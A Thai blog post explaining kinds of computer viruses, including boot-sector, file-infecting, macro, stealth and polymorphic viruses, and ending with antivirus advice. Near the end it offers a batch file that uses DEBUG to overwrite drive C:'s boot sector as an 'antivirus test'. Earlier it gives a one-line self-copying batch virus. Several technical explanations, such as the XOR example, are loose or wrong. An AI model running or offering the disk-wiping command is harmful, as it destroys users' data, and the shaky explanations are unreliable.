ซีเรียลนัมเบอร์ของฮาร์ดดิกส์ลูกนั้น และประกอบไปด้วยคำสั่งของ BIOS ในขั้นพื้นฐานเพื่อเชื่อมต่อกับระบบปฏิบัติการในขั้นตอนการบูตอัปต่อไป จากนั้นภายในตัวระบบปฏิบัติการก่อจะสร้าง "ดีบีอาร์ ; DBR หรือ DOS Boot Record และ ตารางพาร์ทิชั่น" ซึ่งเป็นตำแหน่งทางตรรกะ กล่าวคือ เป็นตำแหน่งที่ทำหน้าที่จำลองอุปกรณ์ออกเป็นไดร์ฟข้อมูลทางตรรกะขึ้นเพื่อความสะดวกของการติดต่ออุปกรณ์นั้นๆ เช่น ไดร์ฟ C: และ D: เพื่อให้ฮาร์ดดิสก์หนึ่งตัวสามารถมีระบบปฏิบัติการที่มากกว่า 1 ระบบ ได้ ใน "ดีบีอาร์" นี้ก็มีลักษณะเหมือนๆ กับ "เอ็มบีอาร์" เพียงแต่ ขนาดของฮาร์ดดิกส์จะถูกระบุเป็นขนาดของไดร์ฟ และขนาดของเซ็คเตอร์จะถูกระบุเป็นขนาดของคลัสเตอร์ต่อ FAT ซึ่งจะบ่งบอกว่าขนาด FAT เป็นเท่าใด โดยทั่วไป แล้วไวรัสมักจะไม่สามารถเข้ามาติดในส่วน "ดีบีอาร์" ได้ แต่ไวรัสบางตัวมีความสามารถในการดักจับและตรวจสอบตำแหน่งจึงสามารถติดเชื้อใน "เอ็มบีอาร์" และ "ดีบีอาร์ (ที่บางคนเรียกว่า ตารางพาร์ชั่น)" โดยปกติไวรัสบูตเซกเตอร์ในยุคแรกๆ จะติดเชื้อใน "เอ็มบีอาร์" ต่อมาก็ถูกเขียนและพัฒนาให้ติดเชื้อใน "ดีบีอาร์" ได้ด้วย จึงทำให้คำสั่ง FDISK /MBR ไม่สามรถฆ่ามันได้ทุกตัวเสียแล้ว จึงต้องอาศัยความเชี่ยวชาญอย่างมากในการฆ่าไวรัสประเภทนี้...บางครั้งจะพบว่าบางคนบอกว่าไวรัส " บูตเซกเตอร์ฆ่าง่ายๆ ทั่งๆ ที่จริงแล้วไวรัสจำพวกนี้ส่วนใหญ่ ฆ่ามันง่ายๆ ก็จริงแต่พวกไวรัส DieHard และ Stone นั้น...(ติดเชื้อใน DBR และตารางพาร์ทิชั่นได้ด้วย) ต้องพึ่งพาโปรแกรมฆ่าไวรัสอย่างเดียว...ถ้าเป็นสมัยนี้ ไวรัสจำพวกนี้ถูกเขียนขึ้นมาชนิดใหม่อาจทำให้ช่างซ่อมคอมพิวเตอร์บางคนเคลมสินค้าหนีความจริงกันทีเดียว



2. โปรแกรมไวรัสหรือไวรัสแฟ้มคำสั่ง (Program or File Infector Viruses)

โปรแกรมไวรัสนั้น เป็นไวรัสรุ่นเก่าๆ ที่ผู้สร้างโปรแกรมไวรัสนั้นต้องมีทักษะความสามารถใน "ภาษา Asembly" พอสมควร หรือใช้ "ภาษา C" เพื่อเขียนโปรแกรมไวรัสขึ้นมา ไวรัสจำพวกนี้เน้นการทำงานร่วมกับหน่วยความจำเป็นหลัก ตัวคำสั่งของไวรัสเองจะแตกออกเป็นชิ้นๆ เพื่อกระจายตัวอยู่แฟ้ม .COM หรือ .EXE จึงทำให้การกำจัดไวรัสพวกนี้ทำได้ยากมาก ต้องอาศัยคำสั่งในโปรแกรมฆ่าไวรัสเท่านั้นถึงจะทำลายไวรัสจำพวกนี้โดยที่แฟ้มติดเชื้อจะไม่เสียหายเลย ไวรัสจำพวกนี้ก็มีหลักการทำงานทุกรูปแบบ ที่อธิบายไว้ตอนต้น ถึงอย่างไรในปัจจุบันไวรัสจำพวกนี้พบในเครื่องคอมพิวเตอร์ส่วนบุคคลน้อยมากในยุคระบบปฏิบัติการวินโดวส์ เพราะชุดคำสั่งควบคุมในวินโดวส์ไม่เอื้อต่อการแพร่เชื้อเหมือนสมัยที่เป็น DOS อยู่นั้นเอง



มาดูรูปแบบจำลองคำสั่งไวรัสแบบเขียนทับ

1. [1. IAmVirus] คือคำสั่งของไวรัส

2. [1. ผมคือโปรแกรมครับ] มันคือคำสั่งโปรแกรมของพวกคุณ

3. เมื่อคำสั่งไวรัสแบบเขียนทับ...ทำงาน มันจะทำให้โปรแกรมของพวกคุณเป็นเช่นนี้ [1. IAmVirusแกรมครับ] คำสั่งไวรัสจะทับคำสั่งเดิมของโปรแกรมเป็นผลทำให้โปรแกรมเสียหายในทันที

4. เมื่อมันต้องการติดเชื้อแฟ้มอื่นด้วย เช่น จะติดเชื้อใน [1. ข้า][2. คือ][3. แฟ้ม][4. ระบบ]

5. มันก็จะเขียน [1. IAmVirus][2. คือ][3. แฟ้ม][4. ระบบ] ทับแฟ้มระบบที่มีขนาดเล็กกว่ามันเสียหายจนทำให้ระบบทำงานผิดพลาดไป

...เป็นสาเหตุให้ไวรัสชนิดนี้ทำงานไม่ประสบความสำเร็จ



มาดูรูปแบบจำลองคำสั่งไวรัสแบบเขียนต่อเติม...

1. [1. I][2. AmVirus] คือคำสั่งของไวรัส

2. [1. ผมคือโปรแกรมครับ] มันคือคำสั่งโปรแกรมของพวกคุณ

3. เมื่อคำสั่งไวรัสแบบเขียนต่อเติมทำงาน มันจะทำให้โปรแกรมของพวกคุณเป็นเช่นนี้ [1. I][3. คือโปรแกรมครับ][2. AmVirusผม]

4. เมื่อมันต้องการติดเชื้อแฟ้มอื่นด้วย เช่น จะติดเชื้อใน [1. ข้า][2. คือ][3. แฟ้ม][4. ระบบ]

5. มันก็จะแตกตัวจาก [1. I][3. คือโปรแกรมครับ][2. AmVirusผม] เป็น [1. I][2. AmVirus] เช่นเดิม

6. จึงแพร่เชื้อเข้าสู่ [1. I][3. คือ][4. แฟ้ม][5. ระบบ][2. AmVirusข้า]

...มันจึงประสบความสำเร็จอย่างมากในการแพร่เชื้อในสมัยก่อน...





3. สคริปไวรัส (Scripts Viruses)

ไวรัสชนิดนี้ โดยทั่วๆ ไปจะพบเป็นหนอนคอมพิวเตอร์เสียส่วนใหญ่ในปัจจุบัน คือการอาศัยแฟ้ม Autorun.INF เพื่อเรียกพวกมันทำงานเมื่อเสียบอุปกรณ์เก็บข้อมูลแบบ Removable นั้นเอง การทำงานของไวรัสสคริปหรือหนอนจำพวกสคริป จะอาศัยประโยชน์จากคำสั่งของระบบปฏิบัติการเป็นคำสั่งอำนวยการแพร่เชื้อไวรัส แม่แต่ “เวปเพจ” เองก็พบไวรัสจำพวกนี้เหมือนกัน เพราะแฟ้ม .HTM หรือ .HTML จะอาศัยภาษา “วิชวลเบสิคสคริป” และ “จาวาสคริป” เป็นคำสั่งเสริมการทำงานเพื่อให้เวปเพจสามารถทำงานที่สลับซับซ้อนได้ ซึ่งในชุดคำสั่งเหล่านั้นเป็นเพียง “Text และ ข้อความธรรมดา” จึงทำให้คำสั่งที่เป็นข้อความถูกเคลื่อนย้ายและจำลองชุดข้อความนั้นไปยังแฟ้มอื่นๆ ได้ ไม่แปลกเลยที่เวปไซด์เอง จะเป็นช่องทางในการแพร่ไวรัสช่องทางหนึ่งที่มีความสกปรกอย่างมาก แต่ระบบปฏบัติการ Windows XP นั้นไปทำการอุดช่องว่างเหล่านั้นโดยการเพิ่มความปลอดภัยที่เรียกว่า “Fire Wall ; ไฟล์วอลล์” เพื่อปิดกั้นช่องทางของไวรัสและแฮกเกอร์มือใหม่



4. มาโครไวรัส (Macro Viruses)

ในปัจจุบันนี้ ผู้ที่อยู่สำนักงานหรือองค์กรต่างๆ ที่ต้องอาศัย MS-Office เป็นโปรแกรมสร้างงานเอกสารและนำเสนอก็นับว่าโชคดีครับ หลังจากวินโดวส์ XP ทำการติดตั้ง File Wall เพิ่มเข้ามา ไวรัสจำพวกนี้เริ่มสูญหายไปกับการถูกปฏิเสธการใช้คำสั่ง การที่คุณจะป้องกันไวรัสจำพวกนี้คือต้องติดตั้งโปรแกรมฆ่าไวรัสรุ่นใหม่ เพื่อป้องกันคำสั่ง "มาโคร" ซึ่งเป็นภาษา "VBA ; Visual Basic Application" ของตัวโปรแกรม ซึ่งเดิมทีผู้จัดทำโปรแกรมหวังให้ภาษานี้ช่วยสนับสนุนการทำงานที่ยากๆ ของเอกสารสำนักงานให้ง่ายลงมาและมีประสิทธิภาพเท่าเทียมกับโปรแกรม แต่เพราะความสามารถของภาษา "มาโคร" นี้เองที่ผู้สร้างไวรัสหันไปศึกษาและหาช่องทางในการเล่นงานคนอื่นผ่านเอกสารเพียงฉบับเดียว สามารถแตกกระจายไปทั่วโลกได้อย่างน่ากลัว หนึ่งในไวรัสมาโครที่ประสบความสำเร็จด้านเลวร้ายคือ "เมลิซ่า Melisa" ในประเทศอเมริกา ซึ่งภายในชั่วข้ามคืน ไวรัสของเขาทำให้เครื่องนับ แสนเครื่องติดเชื้อและติดเชื้อแบบข้ามทวีปเลยทีเดียว ผมจึงอยากให้ทำความเข้าใจการทำงานของไวรัสจำพวกนี้ให้ดีและจะแนะนำว่า คุณมีโอกาศเพียงครั้งเดียวเท่านั้นในการคลิ๊ก ถ้าคุณเลือกตอบว่า "ใช้แมโคร" ก็เป็นอันว่า "ไวรัสจะซ่อนหน้าต่างนี้ไปจนกว่ามันจะตาย และเครื่องของคุณก็กลายเป็นทาสของมันทันที" เมื่อไวรัสสิงสถิตอยู่ในเครื่องของคุณแล้วคุณก็ไม่สามารถจะหยุดการทำงานของมันได้โดยง่าย เช่น ถ้าคุณคิดจะไปกำจัดพวกมันใน Visual Basic Editor คุณไม่สามารถกำจัดมันด้วยวิธีธรรมดาแน่นอน เพราะไวรัสพวกนี้แม้ว่าคุณจะลบแฟ้มที่ติดไวรัสไปแล้วแต่มันยังฝังอยู่ในระบบของคุณอยู่ วิธีที่จะกำจัดหลายๆ คน ลงโปรแกรมใหม่ และลบแฟ้มติดไวรัสทิ้งให้หมด...นั่นก็เป็นทางแก้ปัญหาอีกทางหนึ่ง แต่คุณคงต้องทำอย่างนั้นบ่อยๆ ถ้ารับเอกสารจากลูกค้าหรือเพื่อนในสำนักงานที่ติดไวรัสอยู่ วงจรนี้ก็จะกลับมาอีก



ไวรัสคอมพิวเตอร์ตามลักษณะการทำงาน

1. รันไทม์ (Runtime Viruses)

ไวรัสทำงานแบบรันไทม์ มันคือไวรัสชนิดแรกๆ ที่ผู้ที่เริ่มเขียนไวรัสสร้างขึ้น ซึ่งต้องทำความเข้าใจมันเสียก่อนเพื่อพัฒนาให้มันทำงานยากๆ ขึ้นไป ตัวอย่างคือ ข้อความต่อไปนี้ COPY *.BAT+%0.BAT *.BAT ไวรัสตัวอย่าง...มันจะทำงานแบบเรียบง่ายคือ...ถ้าเรียกทำงานจึงแสดงผล...ไม่เรียกก็ไม่ทำงาน...และทำไมผู้เขียนไวรัสถึงเขียนไวรัสซื่อบื้อพวกนี้ขึ้นมา

- มันเขียนง่ายเข้าใจง่าย

- จะตรวจจับหรือพบไวรัสเมื่อมันทำการติดเชื้อไวรัสแล้ว

ไวรัสแบบรันไทม์นี้ ในอดีตนั้นนิยมใช้คำสั่ง Find First และ Find Next หรือ บริการ 4EH และ 4FH ของดอสอินเตอร์รัพต์ เพื่อทำการค้นแฟ้มที่สามารถติดเชื้อไวรัสได้คล้ายๆ DIR /S เพื่อหาแฟ้ม .COM หรือ .EXE ทั้งระบบ ถ้ามันพบแฟ้มดังกล่าวจะเขียนคำสั่งไวรัสลงไป จากนั้นจะหยุดการทำงานทั้งหมด เพื่อมิให้เครื่องทำงานช้าผิดสังเกต และรอแค่ว่าจะมีการเรียกใช้แฟ้มคำสั่งไวรัสนี้อีกครั้ง ก็จะทำงานเช่นเดิม ในปัจจุบัน โค้ดไวรัสจำพวกนี้ถูกตรวจสอบด้าน "เฮอร์ริติก ; Heritic" คือการสังเกตพฤติกรรม หรือ วิธีตรวจสอบ "เช็คซัม; Check sum" โดยส่วนใหญ่แล้วไวรัสจำพวกนี้จะถูกตรวจจับได้ ถ้าไวรัสนี้ยังไม่พัฒนาเป็นโพลีมอฟิกไวรัสก็จะถูกทำลายจนหมด

2. สเติลช์ (Stealth Viruses)

ไวรัสชนิดนี้เราจะเรียกมันว่า "ไวรัสหลอกล่อดีบัก หรือ ไวรัสฝั่งตัว (TSR; Termenate Stay Resident)" ซึ่งจะเป็นไวรัสชั้นสูงเป็นส่วนใหญ่ ซึ่งการทำงานของไวรัสพวกนี้ ต้องอาศัยการ "รันไทม์" ในระบบปฏิบัติการเสียก่อน เช่นฝั่งตัวคำสั่งไวรัสใน COMMAND.COM เพื่อให้คำสั่งไวรัสฝั่งอยู่ในระบบเพื่อรอดักจับแฟ้ม .COM หรือ .EXE แฟ้มอื่น จากนั้นจะฝั่งคำสั่งล่องหนในหน่วยความ เพื่อไม่ให้โปรแกรมฆ่าไวรัสหรือผู้ใช้ระบบมองเห็นพวกมัน เช่น

- ถ้าระบบมีการตรวจสอบว่าแฟ้ม COMMAND.COM มีขนาดเป็นเท่าไร ไวรัสจะทำการหลอกระบบด้วยการแจ้งข้อมูลที่เป็น "เท็จ" เพื่อไม่ให้ระบบผิดสังเกตว่า COMMAND.COM มีขนาดเพิ่มขึ้น

- ถ้าระบบตรวจสอบแฟ้ม COMMAND.BAK ซึ่งเป็นแฟ้มที่ระบบสำรองเอาไว้ เพื่อดูว่า COMMAND.COM ตัวเดิมมีขนาดเท่าไร ไวรัสก็จะตรวจสอบว่าแฟ้ม COMMAND.BAK นั้นติดเชื้อไวรัสหรือยัง ถ้ายังไม่ติดเชื้อก็จะแทรกคำสั่งไวรัสลงไปทันที และก็ทำการแจ้งขนาดที่เป็น "เท็จ" เช่นเดิมเพื่อไม่ให้ระบบตรวจสอบได้

- ถ้าโปรแกรมฆ่าไวรัสทำการค้นไวรัสโดยดูว่าแฟ้มคำสั่งมีขนาดที่เปลี่ยนไปหรือไม่ หรือทำการสแกนค้นหาข้อความที่น่าจะเป็นไวรัส ไวรัสจะทำการย้ายหัวอ่านในตำแหน่งที่เป็นข้อมูลไวรัสไปยังตำแหน่งอื่น จากนั้นก็ย้ายหัวอ่านกลับมาที่แฟ้มเดิมในตำแหน่งที่ไม่ติดไวรัส ทำให้โปรแกรมฆ่าไวรัสหาไวรัสไม่เจอ แต่ไวรัสคอมพิวเตอร์ส่วนใหญ่ไม่ฉลาดนัก เพราะ แฟ้มคำสั่งสแกนไวรัสสมมุติเป็น NOD55.EXE ไวรัสจะตรวจสอบว่าโปรแกรมฆ่าไวรัสติดไวรัสหรือยัง ถ้ายังก็จะแพร่คำสั่งไวรัสลงไปในโปรแกรมสแกนไวรัสทันที ( โปรแกรมฆ่าไวรัสจึงกลายเป็นตัวแพร่เชื่อไวรัสทันทีถ้าไม่มีการอัปเดรตไวรัส) แต่ถ้าโปรแกรมฆ่าไวรัสที่ติดเชื้อไวรัสอยู่มีการ "อัปโหลด" กลับไปยังศูนย์วิจัยจะถูกตรวจสอบขนาดแบบ (Check Sum) เป็นผลให้พบไวรัสทันที เพราะว่าคำสั่งไวรัสไม่สามารถหลอกล่อดีบักเกอร์ในเครื่องที่ยังไม่ติดเชื้อไวรัสนั้นเอง เห็นไหม? ผู้ร้ายต้องตายตอนจบอยู่แล้วโดยสรุปคือ...ไวรัสจำพวก "เครื่องบินรบ" หรือ "สเติลช์" นั้นเป็นไวรัสที่ความสามารถสูงอย่างมากและต้องใช้ความสามารถในการสร้างมันพอสมควร อย่างที่กล่าวไว้แล้ว ไวรัสจำพวกนี้ถูกสร้างจาก "ภาษาระดับต่ำ" แต่เป็น "ไวรัสชั้นสูง" เพราะรูปแบบคำสั่งอันซับซ้อนของภาษา "แอสเซมบลี (Assembly)" ซึ่งน้อยคนในสมัยนี้จะรู้จักและเขียนภาษาระดับต่ำเหล่านี้ได้ ก็นับว่าดีอยู่บ้าง เพราะว่าไวรัสจำพวกนี้ในปัจจุบันหายากมากๆ เพราะระบบปฏิบัติการวินโดวส์นั้นทำงานแบบ "มัลติโปรแกรมมิ่ง ; Multiprograming" การจองหน่วยความจำเพื่อฝั่งคำสั่งหลอกล่อนั้นไม่สามารถทำได้ง่ายๆ และก็โชคดีที่การจองการทำงานในหน่วยความจำของวินโดวส์ต้องอาศัย "Task Process" เท่านั้น เราจึงสามารถตรวจสอบได้ว่ามีอะไรแปลกปลอมในหน่วยความจำในเครื่องของเราเอง

3. โพลีมอฟิก (Polymorphic Viruses)

ไวรัสจำพวกนี้ มันเหมือนกับ "โจรพันหน้า" เพราะหลักการของมันคือการทำให้โค้ดของไวรัสเปลี่ยนไปทุกๆ ครั้งที่มีการติดเชื้อ แต่การเปลี่ยนโค้ดของไวรัสนั้นจะต้องรักษาคุณสมบัติของไวรัสแม่แบบอย่างคบถ้วนเพื่อไม่ให้ไวรัสเกิดการทำงานที่ผิดพลาด

3.1. ต้นแบบไวรัสคือ 012345678X ซึ่งตัวเลขชุดนี้สมมุติให้เป็นคำสั่งไวรัสทั้งชุดคำสั่ง ตัวเลขในนั้นห้ามผิดเพี้ยนไปแม้แต่ตัวเดียวถ้าผิดจะทำให้ไวรัสทำงานผิดพลาด สุ่ม X = 6 จะกลายพันธ์เป็น (0+6)(1+6)(2+6)(3+6)(4+6)(5+6)(6+6)(7+6)(8+6)(X=6) = 6789012346 (ทำไม 4+6เป็น 10 และทำไมในตัวอย่างเป็น 0 เพราะ คอมพิวเตอร์จะตัดเลขตัวแรกออกให้ได้ค่าของ XOR ทางคณิตศาสตร์)

3.2. เมื่อไวรัสติดเชื้อแฟ้มเป้าหมายจะทำการถอดรหัสของตัวเองจาก 6789012346 X = 6 (X คือค่าที่ถูกสุ่มขึ้นมาเก็บเอาไว้ในตัวสุดท้าย)" กลายเป็น (6-6)(7-6)(8-6)(9-6)(0-6)(1-6)(2-6)(3-6)(4-6)(X-6) เป็น 0123456789X อีกครั้งเพื่อเรียกคำสั่งไวรัสทำงาน...จากนั้นจะทำการสุ่ม X ขึ้นมาใหม่และกลายพันธ์เป็นเลขตัวอื่นต่อไป...ดังนี้

3.3. เมื่อไวรัสในข้อ 2 ต้องการแพร่เชื้อไปยังแฟ้มเป้าหมายอีกครั้ง X = 3 (สุ่มมาใหม่) จะกลายพันธ์เป็น (0+3)(1+3)(2+3)(3+3)(4+3)(5+3)(6+3)(7+3)(8+3)(X=3) = 3456789013 ซึ่ง 34567893 จะไม่มีความเหมือน 6789012346 แม้แต่นิดเดียว....ทำให้โปรแกรมฆ่าไวรัส...สแกนข้อความที่ซ้ำกันไม่เจอ...(ยกเว้น...จะหาโค้ดสำคัญที่ใช้ในการเข้ารหัสในนั้นได้...หรือที่เรียกว่า "อัลกอลิทึม" เจอ...จึงสแกนฆ่ามันได้ทุกตัว) ไม่จำเป็นเสมอไปครับที่อัลกอลิทึมของคณิตศาสตร์หรือสมการเข้ารหัสจะต้องเป็นตัวเดียวกันหรือ ใช้คำสั่ง "อเล็กซันเดอร์มหาราช" ตามตัวอย่างที่กล่าวมา แต่การคำนวนเข้ารหัสในคอมพิวเตอร์ ภาษาใดๆ ก็ตาม นิยมใช้คำสั่ง (Excucive OR; XOR) เพื่อทำการเข้ารหัส ซึ่งรูปแบบของคำสั่งคล้ายๆ การคำนวณที่ผ่านมาเพียงแต่อยู่บนพื้นฐานของตรรกะวิทยาซึ่งไม่มีนิยามที่ยุ่งยาก

0 XOR 0 = 0 0 XOR 1 = 1 1 XOR 0 = 1 1 XOR 1 = 0

ตรรกะนิยามคือ "เลขต่างกันให้เป็น 1"

VIRUS XOR RANDOM = KEY และย้อนกับเป็น KEY XOR RANDOM = VIRUS

สมมุติไวรัสมี 1 บิต

1 XOR 1 = 0 และย้อนกับเป็น 0 XOR 1 = 1

สมมุติไวรัสมี 4 บิต

1011 XOR 1110 = 0101 และย้อนกับเป็น 0101 XOR 1110 = 1011



4. มัลติเพลต (Multipartite Viruses)

"ไวรัสกลายพันธ์" หรือ "หลากหลายสายพันธ์" มัลติเพลตไวรัสเป็นไวรัสจำพวกหนึ่งที่มีความสามารถทางภาษา คือ ในไวรัสตัวเดียวนั้นอาจประกอบไปด้วยภาษาคอมพิวเตอร์มากกว่า หนึ่งภาษา เพื่อให้ไวรัสสามารถกระจายเชื้อไปได้อย่างกว้างขวาง ซึ่งในภาษาคอมพิวเตอร์ภาษาใดก็ตามที่เขียนอยู่ในไวรัส สามารถแพร่กระจายตัวเองไปยัง "แพลตฟอร์ม ; Partform" เดียวกันได้และยังมีความสามารถแพร่เชื้อไปยังแพลตฟอร์มอื่นๆ ได้ด้วย บางตัวสามารถกระจายไปยัง Binary Code หรือภาษาระดับต่ำเพื่อติดเชื้อแฟ้มระบบ .EXE หรือ .COM ได้ โดยตัวไวรัสจะบรรจุคำสั่ง Binary Code เก็บเอาไว้ในตัวของมันซึ่งบางครั้งเป็น "เทกซ์ ; Text" หรือ "ข้อความ" ทั่วไป ผ่านการประมวลผลและคัดลอกทั้งชุดคำสั่งไวรัสไปเก็บเอาไว้ในเป้าหมายทุกๆ คำสั่ง แม้ว่าจะไม่ใช่ภาษาที่ฟอร์มนั้นก็ตาม ดูตามรูป

ภาษาคอมพิวเตอร์ จะแยกแพลตฟอร์มออกเป็น 3 ระดับด้วยกัน คือ

1. คำสั่งภาษาเครื่อง หรือ Binary Code ซึ่งจะพบในไวรัสบูตเซกเตอร์

2. คำสั่งภาษา Asembly Code คือภาษา ที่ใช้ควบคุมระบบปฏิบัติการ (ถึงแม้จะเก็บเป็น Binary Code แต่มีรูปแบบของชุดคำสั่งที่แน่นอน)

3. ภาษาสคริป จะเป็นเพียงข้อความที่จะประมวลผลผ่าน Programs อีกที

ไอคอนตัวอย่างแสดงให้เห็นถึง "แพลตฟอร์ม" ต่างๆ ในที่นี้แค่ยกตัวอย่าง ซึ่งฟอร์มต่างๆ มากมายในระบบปฏิบัติการนั้นสามารถถูกไวรัสจำพวกนี้เชื่อมต่อคำสั่งได้หมดไม่เว้นแม่แต่ "บูตเซกเตอร์" ในระดับล่างสุด ถ้าเวิร์มเมอร์ที่มีประสบการณ์อย่างสูง...จะสามารถเขียนไวรัสเชื่อมต่อ "แพลตฟอร์มระดับต่ำ" กับ "แพลตฟอร์มระดับสูงได้"





การป้องกันไวรัสที่และคุณสมบัติของโปรแกรมฆ่าไวรัสที่ดี....

คืออย่างนี้ครับ...ในโลกเราทุกวันนี้...คนเขียนกับคนฆ่าไวรัส...นั้นปริมาณของคน 2 กลุ่มนี้...ดูแตกต่างกันมากมาย...คุณอ่านมาอาจจะเห็นว่ามีนักเขียนไวรัสแค่คนเดียว...กับนักฆ่าไวรัสอาจทำให้ CERT ของไทยเราร่วม 100 คน ทำงานทั้งคืน...เพราะไวรัสอีกนับร้อยที่กะจายตัวอยู่ขณะนี้ซึ่งไวรัสเด็กๆ ชิว...ก็เห็นตอบกระทู้กันเกลื่อน...แต่ถ้าเป็นไวรัสแบบพี่บิ๊กคงต้องให้ออกข่าว...และทาง MicroSoft ออก "แพทช์" เสริมกันยกใหญ่เอาล่ะ...อย่าว่าเป็นคดีวัวหายล้อมคอกกันเลย...เพราะนักเขียนไวรัสบางคนใช้เทคนิคที่พึ่งปรึกษากันกับนักเขียนไวรัสด้วยกัน...เล่นงานเราได้...ก็ต้องอาศัยการศึกษามานับเดือนเหมือนกัน...จึงเริ่มออกสตาร์ทก่อนเสมอในการวิ่ง 100 เมตร...

1. โปรแกรมฆ่าไวรัสที่ดีจะ...ป้องกัน ระบบ Kernal ของระบบปฏิบัติการได้

ทดสอบการโจมตีด้วยคำสั่งนี้

**** อันตรายอย่างมาก...ระบบอาจพินาศแค่คลิ๊กเดียวของคุณ...ก่อนอื่นให้คุณเข้าสู่ CMOS ตรวจสอบให้ดีว่า Virus Protection Option ถูกติดตั้งหรือยัง...เพราะช่างซ่อมคอมพิวเตอร์บางคนเพิกเฉยต่อคำสั่งนี้...ก็เป็นอันว่า...คำสั่งนี้จะทำให้ฮาร์ดดิสก์คุณพินาศ...

:: แบทไฟล์ทดสอบความสามารถของโปรแกรมฆ่าไวรัส

:: ด้วยการ Clean Boot Sector ไดร์ฟ C:

@echo W 0 3 0 1 > Nuke.SCR

@echo Q>Nuke.SCR

@DEBUG < NUKE.SCR

เมื่อคุณปิดการทำงานของ Virus Protection ใน CMOS ก็อาจจะเจอคำสั่งทำลายล้างมหาวินาศ นี้ซะ...อย่างที่ไม่รู้เลยว่าเครื่องคุณโดนอะไร...จึงฝากเตือนช่างซ่อมทั้งหลายด้วยครับว่าเปิดมันซะ...ถ้าคุณใช้วินโดวส์ โดยไม่มีลีนุกซ์ย่ำนะครับ...คำสั่งมีไว้ศึกษาทดลอง...แต่ไม่ใช่ให้ไปแกล้งคนอื่นกัน

2. โปรแกรมฆ่าไวรัสที่ดีจะ...ป้องกันการ "ฮุกอินเตอร์รัพต์ ของ TSR ไวรัส" ได้



************** จะมาเพิ่มคำสั่ง Hook Interupt ไวรัสเพื่อตรวจสอบ



3. โปรแกรมฆ่าไวรัสที่ดีจะ...ป้องกันการเข้าแทรกแซง "Rootkit" จาก System Virus ได้



************** ติดตามในไวรัสคอมพิวเตอร์ใกล้ตัวกว่าที่คุณ ภาค 3


4. โปรแกรมฆ่าไวรัสที่ดีจะ...ป้องกันการหยุดการทำงานหรือลบโปรแกรมฆ่าไวรัสทิ้ง จาก "รีโทรลไวรัส"



************** จะมาเพิ่มคำสั่งหยุดโปรแกรมฆ่าไวรัสภายหลัง



แล้วเราจะปลอดภัยจากไวรัสได้อย่างไร...

- สิ่งที่ป้องกันเครื่องของคุณจากไวรัส...(ไม่มีครับ...เพราะไวรัสไม่ได้มาในรูปแบบของ อุปกรณ์แฟลชไดร์ฟอย่างเดียว) ทางที่เราจะสามารถป้องกันมันได้...ก็คือภมิคุ้มกันทางมันสมองและสองมือของคุณเท่านั้น...ผมจะอธิบายให้กระจ่างว่าไวรัสมาได้กี่ช่องทาง

- ไวรัสสามารถมาได้แม้ว่าคุณติดโปรแกรมฆ่าไวรัส...เพราะมันถูกเขียนขึ้นมาใหม่...ภายในไม่กี่ชั่วโมงก่อนที่คุณจะเห็นข่าวในทีวี...จากนั้นมันจะกระจายตัวในเครื่องคุณและเครื่อข่าย...ก่อนที่โปรแกรมฆ่าไวรัสจะหาทางกำจัดมันได้...และกว่าคุณจะรู้ว่าติดไวรัสสายพันธ์ใหม่ซะแล้ว...ก็ต่อเมื่อ...เรื่องนี้...เป็นเรื่องเล่าขานผ่านทางโทรศัพท์และกระทู้ที่โพสต์ในวันรุ่งขึ้น ไวรัสรุ่นเก่า...ก็สามารถแพร่เชื้อผ่านเครื่องที่คุณคิดว่าไม่ต้องติดตั้งโปรแกรมฆ่าไวรัสเพราะทำให้เครื่องช้า...เป็นเหตุผลให้ ... "เด็กยุคใหม่ที่ไม่มีวัคซีนป้องกันฝีดาษ พากันล่มตายเพราะ...คิดว่าไวรัสยุคเก่าจะไม่กลับมา"

- ช่องทางทำลายล้างผ่าน VBScript ของ Internet Exproler ช่องทางนี้...นับว่าน่ากลัวมากครับ...สำหรับผู้ที่ใช้งาน IE อยู่ ถ้าเป็น"ไฟฟอกซ์" นั้น สคริป VBS จะไม่ถูกเรียกใช้งานแต่ ใช่ว่าจะไม่มีไวรัสแต่บนบราว์เซอร์ตัวอื่น ที่บล็อกการทำงานของ VBS นั้นก็ยังปลอดภัยกว่าที่จะให้สคริป VBS ส่งผลต่อเครื่องของพวกคุณ อย่างที่เคยผ่านมาใน I Love You หรือ "ไวรัสเลิฟบัก" จงจำไว้อย่างเดียวเลยครับว่า...ไม่มีเวปหรือ Blog ที่ปลอดภัยอยู่ในโลกครับ...ตัวอย่างที่ดีคือ blog ของผม...ถ้าคุณใช่ IE อยู่ ดูได้จาก View...Source...ซึ่งคำสั่งของเอกสาร HTML แสดงถ้าคุณไม่เคยเรียนคำสั่งพวกนี้ต่อให้มันมีไวรัสหรือ แอดแวร์ ฝั่งอยู่ คุณก็ไม่มีทางกำจัดมันได้หรือรู้ได้ว่ามันทำอะไรกับเครื่องของพวกคุณ ซึ่งความปลอดภัยของเวบบล็อกนี้...จะถูกดูแลโดย Server ของแต่ละเวปบล็อก ครับ...โดยพวกเค้าจะมี เอกสารควบคู่หรือ อาเรย์เวป และสถาปัตยกรรม

"พล็อกซี่" ซึ่งจะทำการตรวจและดูแลกันแหละกันอย่าง "ฝาแฝด"ถ้า "คนใดติดโรค" กล่าวคือ "ถ้าโคลนนิ่งมีความแตกต่างกันแสดงว่ามีความผิดปกติด้านพันธุกรรมทันทีจะถูกตรวจสอบด้วย ค่าความถูกต้องที่เก็บเอาไวรัสใน เครื่อง (พล็อกซี่) ทั้งสองมาเปรียบเทียบกันเพื่อหาค่าแตกต่างซึ่งนั้นก็คือไวรัส ... และจะถูกกำจัดทันที" เฮอ...หมดห่วงเรื่องนี้ได้...ยกเว้น...วันใด...มีไวรัสหลุดสถาปัตกรรมรูปแบบนี้มา...ก็เป็นข่าวใหญ่กัน




 

Create Date : 15 ธันวาคม 2551    
Last Update : 4 พฤษภาคม 2556 17:04:48 น.
Counter : 1029 Pageviews.  

1  2  

ธนัตถ์เดชน์
Location :
ขอนแก่น Thailand

[Profile ทั้งหมด]

ให้ทิปเจ้าของ Blog [?]
ฝากข้อความหลังไมค์
Rss Feed
Smember
ผู้ติดตามบล็อก : 9 คน [?]




การเรียนรู้...ไม่มีวันจบสิ้น
Friends' blogs
[Add ธนัตถ์เดชน์'s blog to your web]
Links
 

 Pantip.com | PantipMarket.com | Pantown.com | © 2004 BlogGang.com allrights reserved.